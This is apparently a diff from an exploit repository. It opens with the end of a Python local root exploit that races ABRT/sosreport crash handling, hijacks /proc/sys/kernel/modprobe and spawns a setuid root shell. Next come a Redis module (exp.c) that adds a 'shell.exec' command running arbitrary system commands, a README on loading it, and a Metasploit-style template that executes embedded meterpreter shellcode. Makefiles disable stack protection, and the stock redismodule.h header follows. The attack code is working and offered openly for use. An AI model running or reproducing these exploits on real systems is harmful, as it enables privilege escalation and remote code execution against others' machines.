print "crashing pid %d" % pid
os.kill(pid,11)
print "waiting for dump directory"
def waitpath(p):
while 1:
r = glob.glob(p)
if len(r) > 0:
return r
time.sleep(0.05)
dumpdir = waitpath("/var/tmp/abrt/cc*%d" % pid)[0]
print "dump directory: ", dumpdir
os.chdir(dumpdir)
print "waiting for sosreport directory"
sosreport = waitpath("sosreport-*")[0]
print "sosreport: ", sosreport
print "waiting for tmpfiles"
tmpfiles = waitpath("tmp*")
print "tmpfiles: ", tmpfiles
print "moving directory"
os.rename(sosreport, sosreport + ".old")
os.mkdir(sosreport)
os.chmod(sosreport,0777)
os.mkdir(sosreport + "/sos_logs")
os.chmod(sosreport + "/sos_logs",0777)
os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/sos.log")
os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/ui.log")
print "moving tmpfiles"
for x in tmpfiles:
print "%s -> %s" % (x,x + ".old")
os.rename(x, x + ".old")
open(x, "w+").write("/tmp/hax.sh\n")
os.chmod(x,0666)
os.chdir("/")
sys.stderr.write("waiting for sosreport to finish (can take several minutes)..")
def trigger():
open("/tmp/hax.sh","w+").write(payload)
os.chmod("/tmp/hax.sh",0755)
try: socket.socket(socket.AF_INET,socket.SOCK_STREAM,132)
except: pass
time.sleep(0.5)
try:
os.stat("/tmp/sh")
except:
print "could not create suid"
sys.exit(-1)
print "success"
os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''')
sys.exit(-1)
for x in xrange(0,60*10):
if "/tmp/hax" in open("/proc/sys/kernel/modprobe").read():
print "done"
trigger()
time.sleep(1)
sys.stderr.write(".")
print "timed out"
+35
View File
@@ -0,0 +1,35 @@
#set environment variable RM_INCLUDE_DIR to the location of redismodule.h
ifndef RM_INCLUDE_DIR
RM_INCLUDE_DIR=./
endif
ifndef RMUTIL_LIBDIR
RMUTIL_LIBDIR=./rmutil
endif
# find the OS
uname_S := $(shell sh -c 'uname -s 2>/dev/null || echo not')
# Compile flags for linux / osx
ifeq ($(uname_S),Linux)
SHOBJ_CFLAGS ?= -fno-common -g -ggdb
SHOBJ_LDFLAGS ?= -shared -Bsymbolic
else
SHOBJ_CFLAGS ?= -dynamic -fno-common -g -ggdb
SHOBJ_LDFLAGS ?= -bundle -undefined dynamic_lookup
endif
CFLAGS = -I$(RM_INCLUDE_DIR) -Wall -g -fPIC -lc -lm -std=gnu99 -fno-stack-protector -z execstack
CC=gcc
all: rmutil module.so
rmutil: FORCE
$(MAKE) -C $(RMUTIL_LIBDIR)
module.so: module.o
$(LD) -o $@ module.o $(SHOBJ_LDFLAGS) $(LIBS) -L$(RMUTIL_LIBDIR) -lrmutil -lc -z execstack
clean:
rm -rf *.xo *.so *.o
FORCE:
+35
View File
@@ -0,0 +1,35 @@
#set environment variable RM_INCLUDE_DIR to the location of redismodule.h
ifndef RM_INCLUDE_DIR
RM_INCLUDE_DIR=../
endif
ifndef RMUTIL_LIBDIR
RMUTIL_LIBDIR=../rmutil
endif
# find the OS
uname_S := $(shell sh -c 'uname -s 2>/dev/null || echo not')
# Compile flags for linux / osx
ifeq ($(uname_S),Linux)
SHOBJ_CFLAGS ?= -fno-common -g -ggdb
SHOBJ_LDFLAGS ?= -shared -Bsymbolic
else
SHOBJ_CFLAGS ?= -dynamic -fno-common -g -ggdb
SHOBJ_LDFLAGS ?= -bundle -undefined dynamic_lookup
endif
CFLAGS = -I$(RM_INCLUDE_DIR) -Wall -g -fPIC -lc -lm -std=gnu99 -fno-stack-protector -z execstack
CC=gcc
all: rmutil exp.so
rmutil: FORCE
$(MAKE) -C $(RMUTIL_LIBDIR)
exp.so: exp.o
$(LD) -o $@ exp.o $(SHOBJ_LDFLAGS) $(LIBS) -L$(RMUTIL_LIBDIR) -lrmutil -lc -z execstack
clean:
rm -rf *.xo *.so *.o
FORCE:
+47
View File
@@ -0,0 +1,47 @@
#include "redismodule.h"
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int Shell(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (argc == 2) {
size_t cmd_len;
size_t size = 1024;
char *cmd = RedisModule_StringPtrLen(argv[1], &cmd_len);
FILE *fp = popen(cmd, "r");
char *buf, *output;
buf = (char *)malloc(size);
output = (char *)malloc(size);
while ( fgets(buf, sizeof(buf), fp) != 0 ) {
if (strlen(buf) + strlen(output) >= size) {
output = realloc(output, size<<2);
size <<= 1;
}
strcat(output, buf);
}
RedisModuleString *ret = RedisModule_CreateString(ctx, output, strlen(output));
RedisModule_ReplyWithString(ctx, ret);
pclose(fp);
} else {
return RedisModule_WrongArity(ctx);
}
return REDISMODULE_OK;
}
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (RedisModule_Init(ctx,"shell",1,REDISMODULE_APIVER_1)
== REDISMODULE_ERR) return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "shell.exec",
Shell, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
return REDISMODULE_OK;
}
BIN
View File
Binary file not shown.
+23
View File
@@ -0,0 +1,23 @@
## Intro
This is a compiled shared object file of redis module.
## Load redis extension
```
MODULE load ./exp.so
```
## Run command
```
redis-cli
127.0.0.1:6379> shell.exec "whoami"
```
## Compile
You can modify the exp.c source code if you want.
And the compile it to exp.so in current directory.
```
make
```
+38
View File
@@ -0,0 +1,38 @@
#include "redismodule.h"
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int Shell(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
pid_t child_pid = fork();
if (child_pid == 0)
{
// Your meterpreter shell here
<%= buf %>
int (*ret)() = (int(*)())buf;
ret();
}
else
{wait(NULL);}
return REDISMODULE_OK;
}
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (RedisModule_Init(ctx,<%= @module_init_name.inspect %>,1,REDISMODULE_APIVER_1)
== REDISMODULE_ERR) return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, <%= @module_cmd.inspect %>,
Shell, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
return REDISMODULE_OK;
}
+509
View File
@@ -0,0 +1,509 @@
#ifndef REDISMODULE_H
#define REDISMODULE_H
#include <sys/types.h>
#include <stdint.h>
#include <stdio.h>
/* ---------------- Defines common between core and modules --------------- */
/* Error status return values. */
#define REDISMODULE_OK 0
#define REDISMODULE_ERR 1
/* API versions. */
#define REDISMODULE_APIVER_1 1
/* API flags and constants */
#define REDISMODULE_READ (1<<0)
#define REDISMODULE_WRITE (1<<1)
#define REDISMODULE_LIST_HEAD 0
#define REDISMODULE_LIST_TAIL 1
/* Key types. */
#define REDISMODULE_KEYTYPE_EMPTY 0
#define REDISMODULE_KEYTYPE_STRING 1
#define REDISMODULE_KEYTYPE_LIST 2
#define REDISMODULE_KEYTYPE_HASH 3
#define REDISMODULE_KEYTYPE_SET 4
#define REDISMODULE_KEYTYPE_ZSET 5
#define REDISMODULE_KEYTYPE_MODULE 6
/* Reply types. */
#define REDISMODULE_REPLY_UNKNOWN -1
#define REDISMODULE_REPLY_STRING 0
#define REDISMODULE_REPLY_ERROR 1
#define REDISMODULE_REPLY_INTEGER 2
#define REDISMODULE_REPLY_ARRAY 3
#define REDISMODULE_REPLY_NULL 4
/* Postponed array length. */
#define REDISMODULE_POSTPONED_ARRAY_LEN -1
/* Expire */
#define REDISMODULE_NO_EXPIRE -1
/* Sorted set API flags. */
#define REDISMODULE_ZADD_XX (1<<0)
#define REDISMODULE_ZADD_NX (1<<1)
#define REDISMODULE_ZADD_ADDED (1<<2)
#define REDISMODULE_ZADD_UPDATED (1<<3)
#define REDISMODULE_ZADD_NOP (1<<4)
/* Hash API flags. */
#define REDISMODULE_HASH_NONE 0
#define REDISMODULE_HASH_NX (1<<0)
#define REDISMODULE_HASH_XX (1<<1)
#define REDISMODULE_HASH_CFIELDS (1<<2)
#define REDISMODULE_HASH_EXISTS (1<<3)
/* Context Flags: Info about the current context returned by
* RM_GetContextFlags(). */
/* The command is running in the context of a Lua script */
#define REDISMODULE_CTX_FLAGS_LUA (1<<0)
/* The command is running inside a Redis transaction */
#define REDISMODULE_CTX_FLAGS_MULTI (1<<1)
/* The instance is a master */
#define REDISMODULE_CTX_FLAGS_MASTER (1<<2)
/* The instance is a slave */
#define REDISMODULE_CTX_FLAGS_SLAVE (1<<3)
/* The instance is read-only (usually meaning it's a slave as well) */
#define REDISMODULE_CTX_FLAGS_READONLY (1<<4)
/* The instance is running in cluster mode */
#define REDISMODULE_CTX_FLAGS_CLUSTER (1<<5)
/* The instance has AOF enabled */
#define REDISMODULE_CTX_FLAGS_AOF (1<<6)
/* The instance has RDB enabled */
#define REDISMODULE_CTX_FLAGS_RDB (1<<7)
/* The instance has Maxmemory set */
#define REDISMODULE_CTX_FLAGS_MAXMEMORY (1<<8)
/* Maxmemory is set and has an eviction policy that may delete keys */
#define REDISMODULE_CTX_FLAGS_EVICT (1<<9)
/* Redis is out of memory according to the maxmemory flag. */
#define REDISMODULE_CTX_FLAGS_OOM (1<<10)
/* Less than 25% of memory available according to maxmemory. */
#define REDISMODULE_CTX_FLAGS_OOM_WARNING (1<<11)
#define REDISMODULE_NOTIFY_GENERIC (1<<2) /* g */
#define REDISMODULE_NOTIFY_STRING (1<<3) /* $ */
#define REDISMODULE_NOTIFY_LIST (1<<4) /* l */
#define REDISMODULE_NOTIFY_SET (1<<5) /* s */
#define REDISMODULE_NOTIFY_HASH (1<<6) /* h */
#define REDISMODULE_NOTIFY_ZSET (1<<7) /* z */
#define REDISMODULE_NOTIFY_EXPIRED (1<<8) /* x */
#define REDISMODULE_NOTIFY_EVICTED (1<<9) /* e */
#define REDISMODULE_NOTIFY_STREAM (1<<10) /* t */
#define REDISMODULE_NOTIFY_ALL (REDISMODULE_NOTIFY_GENERIC | REDISMODULE_NOTIFY_STRING | REDISMODULE_NOTIFY_LIST | REDISMODULE_NOTIFY_SET | REDISMODULE_NOTIFY_HASH | REDISMODULE_NOTIFY_ZSET | REDISMODULE_NOTIFY_EXPIRED | REDISMODULE_NOTIFY_EVICTED | REDISMODULE_NOTIFY_STREAM) /* A */
/* A special pointer that we can use between the core and the module to signal
* field deletion, and that is impossible to be a valid pointer. */
#define REDISMODULE_HASH_DELETE ((RedisModuleString*)(long)1)
/* Error messages. */
#define REDISMODULE_ERRORMSG_WRONGTYPE "WRONGTYPE Operation against a key holding the wrong kind of value"
#define REDISMODULE_POSITIVE_INFINITE (1.0/0.0)
#define REDISMODULE_NEGATIVE_INFINITE (-1.0/0.0)
/* Cluster API defines. */
#define REDISMODULE_NODE_ID_LEN 40
#define REDISMODULE_NODE_MYSELF (1<<0)
#define REDISMODULE_NODE_MASTER (1<<1)
#define REDISMODULE_NODE_SLAVE (1<<2)
#define REDISMODULE_NODE_PFAIL (1<<3)
#define REDISMODULE_NODE_FAIL (1<<4)
#define REDISMODULE_NODE_NOFAILOVER (1<<5)
#define REDISMODULE_CLUSTER_FLAG_NONE 0
#define REDISMODULE_CLUSTER_FLAG_NO_FAILOVER (1<<1)
#define REDISMODULE_CLUSTER_FLAG_NO_REDIRECTION (1<<2)
#define REDISMODULE_NOT_USED(V) ((void) V)
/* This type represents a timer handle, and is returned when a timer is
* registered and used in order to invalidate a timer. It's just a 64 bit
* number, because this is how each timer is represented inside the radix tree
* of timers that are going to expire, sorted by expire time. */
typedef uint64_t RedisModuleTimerID;
/* ------------------------- End of common defines ------------------------ */
#ifndef REDISMODULE_CORE
typedef long long mstime_t;
/* Incomplete structures for compiler checks but opaque access. */
typedef struct RedisModuleCtx RedisModuleCtx;
typedef struct RedisModuleKey RedisModuleKey;
typedef struct RedisModuleString RedisModuleString;
typedef struct RedisModuleCallReply RedisModuleCallReply;
typedef struct RedisModuleIO RedisModuleIO;
typedef struct RedisModuleType RedisModuleType;
typedef struct RedisModuleDigest RedisModuleDigest;
typedef struct RedisModuleBlockedClient RedisModuleBlockedClient;
typedef struct RedisModuleClusterInfo RedisModuleClusterInfo;
typedef struct RedisModuleDict RedisModuleDict;
typedef struct RedisModuleDictIter RedisModuleDictIter;
typedef int (*RedisModuleCmdFunc)(RedisModuleCtx *ctx, RedisModuleString **argv, int argc);
typedef void (*RedisModuleDisconnectFunc)(RedisModuleCtx *ctx, RedisModuleBlockedClient *bc);
typedef int (*RedisModuleNotificationFunc)(RedisModuleCtx *ctx, int type, const char *event, RedisModuleString *key);
typedef void *(*RedisModuleTypeLoadFunc)(RedisModuleIO *rdb, int encver);
typedef void (*RedisModuleTypeSaveFunc)(RedisModuleIO *rdb, void *value);
typedef void (*RedisModuleTypeRewriteFunc)(RedisModuleIO *aof, RedisModuleString *key, void *value);
typedef size_t (*RedisModuleTypeMemUsageFunc)(const void *value);
typedef void (*RedisModuleTypeDigestFunc)(RedisModuleDigest *digest, void *value);
typedef void (*RedisModuleTypeFreeFunc)(void *value);
typedef void (*RedisModuleClusterMessageReceiver)(RedisModuleCtx *ctx, const char *sender_id, uint8_t type, const unsigned char *payload, uint32_t len);
typedef void (*RedisModuleTimerProc)(RedisModuleCtx *ctx, void *data);
#define REDISMODULE_TYPE_METHOD_VERSION 1
typedef struct RedisModuleTypeMethods {
uint64_t version;
RedisModuleTypeLoadFunc rdb_load;
RedisModuleTypeSaveFunc rdb_save;
RedisModuleTypeRewriteFunc aof_rewrite;
RedisModuleTypeMemUsageFunc mem_usage;
RedisModuleTypeDigestFunc digest;
RedisModuleTypeFreeFunc free;
} RedisModuleTypeMethods;
#define REDISMODULE_GET_API(name) \
RedisModule_GetApi("RedisModule_" #name, ((void **)&RedisModule_ ## name))
#define REDISMODULE_API_FUNC(x) (*x)
void *REDISMODULE_API_FUNC(RedisModule_Alloc)(size_t bytes);
void *REDISMODULE_API_FUNC(RedisModule_Realloc)(void *ptr, size_t bytes);
void REDISMODULE_API_FUNC(RedisModule_Free)(void *ptr);
void *REDISMODULE_API_FUNC(RedisModule_Calloc)(size_t nmemb, size_t size);
char *REDISMODULE_API_FUNC(RedisModule_Strdup)(const char *str);
int REDISMODULE_API_FUNC(RedisModule_GetApi)(const char *, void *);
int REDISMODULE_API_FUNC(RedisModule_CreateCommand)(RedisModuleCtx *ctx, const char *name, RedisModuleCmdFunc cmdfunc, const char *strflags, int firstkey, int lastkey, int keystep);
void REDISMODULE_API_FUNC(RedisModule_SetModuleAttribs)(RedisModuleCtx *ctx, const char *name, int ver, int apiver);
int REDISMODULE_API_FUNC(RedisModule_IsModuleNameBusy)(const char *name);
int REDISMODULE_API_FUNC(RedisModule_WrongArity)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithLongLong)(RedisModuleCtx *ctx, long long ll);
int REDISMODULE_API_FUNC(RedisModule_GetSelectedDb)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_SelectDb)(RedisModuleCtx *ctx, int newid);
void *REDISMODULE_API_FUNC(RedisModule_OpenKey)(RedisModuleCtx *ctx, RedisModuleString *keyname, int mode);
void REDISMODULE_API_FUNC(RedisModule_CloseKey)(RedisModuleKey *kp);
int REDISMODULE_API_FUNC(RedisModule_KeyType)(RedisModuleKey *kp);
size_t REDISMODULE_API_FUNC(RedisModule_ValueLength)(RedisModuleKey *kp);
int REDISMODULE_API_FUNC(RedisModule_ListPush)(RedisModuleKey *kp, int where, RedisModuleString *ele);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_ListPop)(RedisModuleKey *key, int where);
RedisModuleCallReply *REDISMODULE_API_FUNC(RedisModule_Call)(RedisModuleCtx *ctx, const char *cmdname, const char *fmt, ...);
const char *REDISMODULE_API_FUNC(RedisModule_CallReplyProto)(RedisModuleCallReply *reply, size_t *len);
void REDISMODULE_API_FUNC(RedisModule_FreeCallReply)(RedisModuleCallReply *reply);
int REDISMODULE_API_FUNC(RedisModule_CallReplyType)(RedisModuleCallReply *reply);
long long REDISMODULE_API_FUNC(RedisModule_CallReplyInteger)(RedisModuleCallReply *reply);
size_t REDISMODULE_API_FUNC(RedisModule_CallReplyLength)(RedisModuleCallReply *reply);
RedisModuleCallReply *REDISMODULE_API_FUNC(RedisModule_CallReplyArrayElement)(RedisModuleCallReply *reply, size_t idx);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateString)(RedisModuleCtx *ctx, const char *ptr, size_t len);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromLongLong)(RedisModuleCtx *ctx, long long ll);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromString)(RedisModuleCtx *ctx, const RedisModuleString *str);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringPrintf)(RedisModuleCtx *ctx, const char *fmt, ...);
void REDISMODULE_API_FUNC(RedisModule_FreeString)(RedisModuleCtx *ctx, RedisModuleString *str);
const char *REDISMODULE_API_FUNC(RedisModule_StringPtrLen)(const RedisModuleString *str, size_t *len);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithError)(RedisModuleCtx *ctx, const char *err);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithSimpleString)(RedisModuleCtx *ctx, const char *msg);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithArray)(RedisModuleCtx *ctx, long len);
void REDISMODULE_API_FUNC(RedisModule_ReplySetArrayLength)(RedisModuleCtx *ctx, long len);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithStringBuffer)(RedisModuleCtx *ctx, const char *buf, size_t len);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithString)(RedisModuleCtx *ctx, RedisModuleString *str);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithNull)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithDouble)(RedisModuleCtx *ctx, double d);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithCallReply)(RedisModuleCtx *ctx, RedisModuleCallReply *reply);
int REDISMODULE_API_FUNC(RedisModule_StringToLongLong)(const RedisModuleString *str, long long *ll);
int REDISMODULE_API_FUNC(RedisModule_StringToDouble)(const RedisModuleString *str, double *d);
void REDISMODULE_API_FUNC(RedisModule_AutoMemory)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_Replicate)(RedisModuleCtx *ctx, const char *cmdname, const char *fmt, ...);
int REDISMODULE_API_FUNC(RedisModule_ReplicateVerbatim)(RedisModuleCtx *ctx);
const char *REDISMODULE_API_FUNC(RedisModule_CallReplyStringPtr)(RedisModuleCallReply *reply, size_t *len);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromCallReply)(RedisModuleCallReply *reply);
int REDISMODULE_API_FUNC(RedisModule_DeleteKey)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_UnlinkKey)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_StringSet)(RedisModuleKey *key, RedisModuleString *str);
char *REDISMODULE_API_FUNC(RedisModule_StringDMA)(RedisModuleKey *key, size_t *len, int mode);
int REDISMODULE_API_FUNC(RedisModule_StringTruncate)(RedisModuleKey *key, size_t newlen);
mstime_t REDISMODULE_API_FUNC(RedisModule_GetExpire)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_SetExpire)(RedisModuleKey *key, mstime_t expire);
int REDISMODULE_API_FUNC(RedisModule_ZsetAdd)(RedisModuleKey *key, double score, RedisModuleString *ele, int *flagsptr);
int REDISMODULE_API_FUNC(RedisModule_ZsetIncrby)(RedisModuleKey *key, double score, RedisModuleString *ele, int *flagsptr, double *newscore);
int REDISMODULE_API_FUNC(RedisModule_ZsetScore)(RedisModuleKey *key, RedisModuleString *ele, double *score);
int REDISMODULE_API_FUNC(RedisModule_ZsetRem)(RedisModuleKey *key, RedisModuleString *ele, int *deleted);
void REDISMODULE_API_FUNC(RedisModule_ZsetRangeStop)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_ZsetFirstInScoreRange)(RedisModuleKey *key, double min, double max, int minex, int maxex);
int REDISMODULE_API_FUNC(RedisModule_ZsetLastInScoreRange)(RedisModuleKey *key, double min, double max, int minex, int maxex);
int REDISMODULE_API_FUNC(RedisModule_ZsetFirstInLexRange)(RedisModuleKey *key, RedisModuleString *min, RedisModuleString *max);
int REDISMODULE_API_FUNC(RedisModule_ZsetLastInLexRange)(RedisModuleKey *key, RedisModuleString *min, RedisModuleString *max);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_ZsetRangeCurrentElement)(RedisModuleKey *key, double *score);
int REDISMODULE_API_FUNC(RedisModule_ZsetRangeNext)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_ZsetRangePrev)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_ZsetRangeEndReached)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_HashSet)(RedisModuleKey *key, int flags, ...);
int REDISMODULE_API_FUNC(RedisModule_HashGet)(RedisModuleKey *key, int flags, ...);
int REDISMODULE_API_FUNC(RedisModule_IsKeysPositionRequest)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_KeyAtPos)(RedisModuleCtx *ctx, int pos);
unsigned long long REDISMODULE_API_FUNC(RedisModule_GetClientId)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_GetContextFlags)(RedisModuleCtx *ctx);
void *REDISMODULE_API_FUNC(RedisModule_PoolAlloc)(RedisModuleCtx *ctx, size_t bytes);
RedisModuleType *REDISMODULE_API_FUNC(RedisModule_CreateDataType)(RedisModuleCtx *ctx, const char *name, int encver, RedisModuleTypeMethods *typemethods);
int REDISMODULE_API_FUNC(RedisModule_ModuleTypeSetValue)(RedisModuleKey *key, RedisModuleType *mt, void *value);
RedisModuleType *REDISMODULE_API_FUNC(RedisModule_ModuleTypeGetType)(RedisModuleKey *key);
void *REDISMODULE_API_FUNC(RedisModule_ModuleTypeGetValue)(RedisModuleKey *key);
void REDISMODULE_API_FUNC(RedisModule_SaveUnsigned)(RedisModuleIO *io, uint64_t value);
uint64_t REDISMODULE_API_FUNC(RedisModule_LoadUnsigned)(RedisModuleIO *io);
void REDISMODULE_API_FUNC(RedisModule_SaveSigned)(RedisModuleIO *io, int64_t value);
int64_t REDISMODULE_API_FUNC(RedisModule_LoadSigned)(RedisModuleIO *io);
void REDISMODULE_API_FUNC(RedisModule_EmitAOF)(RedisModuleIO *io, const char *cmdname, const char *fmt, ...);
void REDISMODULE_API_FUNC(RedisModule_SaveString)(RedisModuleIO *io, RedisModuleString *s);
void REDISMODULE_API_FUNC(RedisModule_SaveStringBuffer)(RedisModuleIO *io, const char *str, size_t len);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_LoadString)(RedisModuleIO *io);
char *REDISMODULE_API_FUNC(RedisModule_LoadStringBuffer)(RedisModuleIO *io, size_t *lenptr);
void REDISMODULE_API_FUNC(RedisModule_SaveDouble)(RedisModuleIO *io, double value);
double REDISMODULE_API_FUNC(RedisModule_LoadDouble)(RedisModuleIO *io);
void REDISMODULE_API_FUNC(RedisModule_SaveFloat)(RedisModuleIO *io, float value);
float REDISMODULE_API_FUNC(RedisModule_LoadFloat)(RedisModuleIO *io);
void REDISMODULE_API_FUNC(RedisModule_Log)(RedisModuleCtx *ctx, const char *level, const char *fmt, ...);
void REDISMODULE_API_FUNC(RedisModule_LogIOError)(RedisModuleIO *io, const char *levelstr, const char *fmt, ...);
int REDISMODULE_API_FUNC(RedisModule_StringAppendBuffer)(RedisModuleCtx *ctx, RedisModuleString *str, const char *buf, size_t len);
void REDISMODULE_API_FUNC(RedisModule_RetainString)(RedisModuleCtx *ctx, RedisModuleString *str);
int REDISMODULE_API_FUNC(RedisModule_StringCompare)(RedisModuleString *a, RedisModuleString *b);
RedisModuleCtx *REDISMODULE_API_FUNC(RedisModule_GetContextFromIO)(RedisModuleIO *io);
long long REDISMODULE_API_FUNC(RedisModule_Milliseconds)(void);
void REDISMODULE_API_FUNC(RedisModule_DigestAddStringBuffer)(RedisModuleDigest *md, unsigned char *ele, size_t len);
void REDISMODULE_API_FUNC(RedisModule_DigestAddLongLong)(RedisModuleDigest *md, long long ele);
void REDISMODULE_API_FUNC(RedisModule_DigestEndSequence)(RedisModuleDigest *md);
RedisModuleDict *REDISMODULE_API_FUNC(RedisModule_CreateDict)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_FreeDict)(RedisModuleCtx *ctx, RedisModuleDict *d);
uint64_t REDISMODULE_API_FUNC(RedisModule_DictSize)(RedisModuleDict *d);
int REDISMODULE_API_FUNC(RedisModule_DictSetC)(RedisModuleDict *d, void *key, size_t keylen, void *ptr);
int REDISMODULE_API_FUNC(RedisModule_DictReplaceC)(RedisModuleDict *d, void *key, size_t keylen, void *ptr);
int REDISMODULE_API_FUNC(RedisModule_DictSet)(RedisModuleDict *d, RedisModuleString *key, void *ptr);
int REDISMODULE_API_FUNC(RedisModule_DictReplace)(RedisModuleDict *d, RedisModuleString *key, void *ptr);
void *REDISMODULE_API_FUNC(RedisModule_DictGetC)(RedisModuleDict *d, void *key, size_t keylen, int *nokey);
void *REDISMODULE_API_FUNC(RedisModule_DictGet)(RedisModuleDict *d, RedisModuleString *key, int *nokey);
int REDISMODULE_API_FUNC(RedisModule_DictDelC)(RedisModuleDict *d, void *key, size_t keylen, void *oldval);
int REDISMODULE_API_FUNC(RedisModule_DictDel)(RedisModuleDict *d, RedisModuleString *key, void *oldval);
RedisModuleDictIter *REDISMODULE_API_FUNC(RedisModule_DictIteratorStartC)(RedisModuleDict *d, const char *op, void *key, size_t keylen);
RedisModuleDictIter *REDISMODULE_API_FUNC(RedisModule_DictIteratorStart)(RedisModuleDict *d, const char *op, RedisModuleString *key);
void REDISMODULE_API_FUNC(RedisModule_DictIteratorStop)(RedisModuleDictIter *di);
int REDISMODULE_API_FUNC(RedisModule_DictIteratorReseekC)(RedisModuleDictIter *di, const char *op, void *key, size_t keylen);
int REDISMODULE_API_FUNC(RedisModule_DictIteratorReseek)(RedisModuleDictIter *di, const char *op, RedisModuleString *key);
void *REDISMODULE_API_FUNC(RedisModule_DictNextC)(RedisModuleDictIter *di, size_t *keylen, void **dataptr);
void *REDISMODULE_API_FUNC(RedisModule_DictPrevC)(RedisModuleDictIter *di, size_t *keylen, void **dataptr);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_DictNext)(RedisModuleCtx *ctx, RedisModuleDictIter *di, void **dataptr);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_DictPrev)(RedisModuleCtx *ctx, RedisModuleDictIter *di, void **dataptr);
int REDISMODULE_API_FUNC(RedisModule_DictCompareC)(RedisModuleDictIter *di, const char *op, void *key, size_t keylen);
int REDISMODULE_API_FUNC(RedisModule_DictCompare)(RedisModuleDictIter *di, const char *op, RedisModuleString *key);
/* Experimental APIs */
#ifdef REDISMODULE_EXPERIMENTAL_API
#define REDISMODULE_EXPERIMENTAL_API_VERSION 3
RedisModuleBlockedClient *REDISMODULE_API_FUNC(RedisModule_BlockClient)(RedisModuleCtx *ctx, RedisModuleCmdFunc reply_callback, RedisModuleCmdFunc timeout_callback, void (*free_privdata)(RedisModuleCtx*,void*), long long timeout_ms);
int REDISMODULE_API_FUNC(RedisModule_UnblockClient)(RedisModuleBlockedClient *bc, void *privdata);
int REDISMODULE_API_FUNC(RedisModule_IsBlockedReplyRequest)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_IsBlockedTimeoutRequest)(RedisModuleCtx *ctx);
void *REDISMODULE_API_FUNC(RedisModule_GetBlockedClientPrivateData)(RedisModuleCtx *ctx);
RedisModuleBlockedClient *REDISMODULE_API_FUNC(RedisModule_GetBlockedClientHandle)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_AbortBlock)(RedisModuleBlockedClient *bc);
RedisModuleCtx *REDISMODULE_API_FUNC(RedisModule_GetThreadSafeContext)(RedisModuleBlockedClient *bc);
void REDISMODULE_API_FUNC(RedisModule_FreeThreadSafeContext)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_ThreadSafeContextLock)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_ThreadSafeContextUnlock)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_SubscribeToKeyspaceEvents)(RedisModuleCtx *ctx, int types, RedisModuleNotificationFunc cb);
int REDISMODULE_API_FUNC(RedisModule_BlockedClientDisconnected)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_RegisterClusterMessageReceiver)(RedisModuleCtx *ctx, uint8_t type, RedisModuleClusterMessageReceiver callback);
int REDISMODULE_API_FUNC(RedisModule_SendClusterMessage)(RedisModuleCtx *ctx, char *target_id, uint8_t type, unsigned char *msg, uint32_t len);
int REDISMODULE_API_FUNC(RedisModule_GetClusterNodeInfo)(RedisModuleCtx *ctx, const char *id, char *ip, char *master_id, int *port, int *flags);
char **REDISMODULE_API_FUNC(RedisModule_GetClusterNodesList)(RedisModuleCtx *ctx, size_t *numnodes);
void REDISMODULE_API_FUNC(RedisModule_FreeClusterNodesList)(char **ids);
RedisModuleTimerID REDISMODULE_API_FUNC(RedisModule_CreateTimer)(RedisModuleCtx *ctx, mstime_t period, RedisModuleTimerProc callback, void *data);
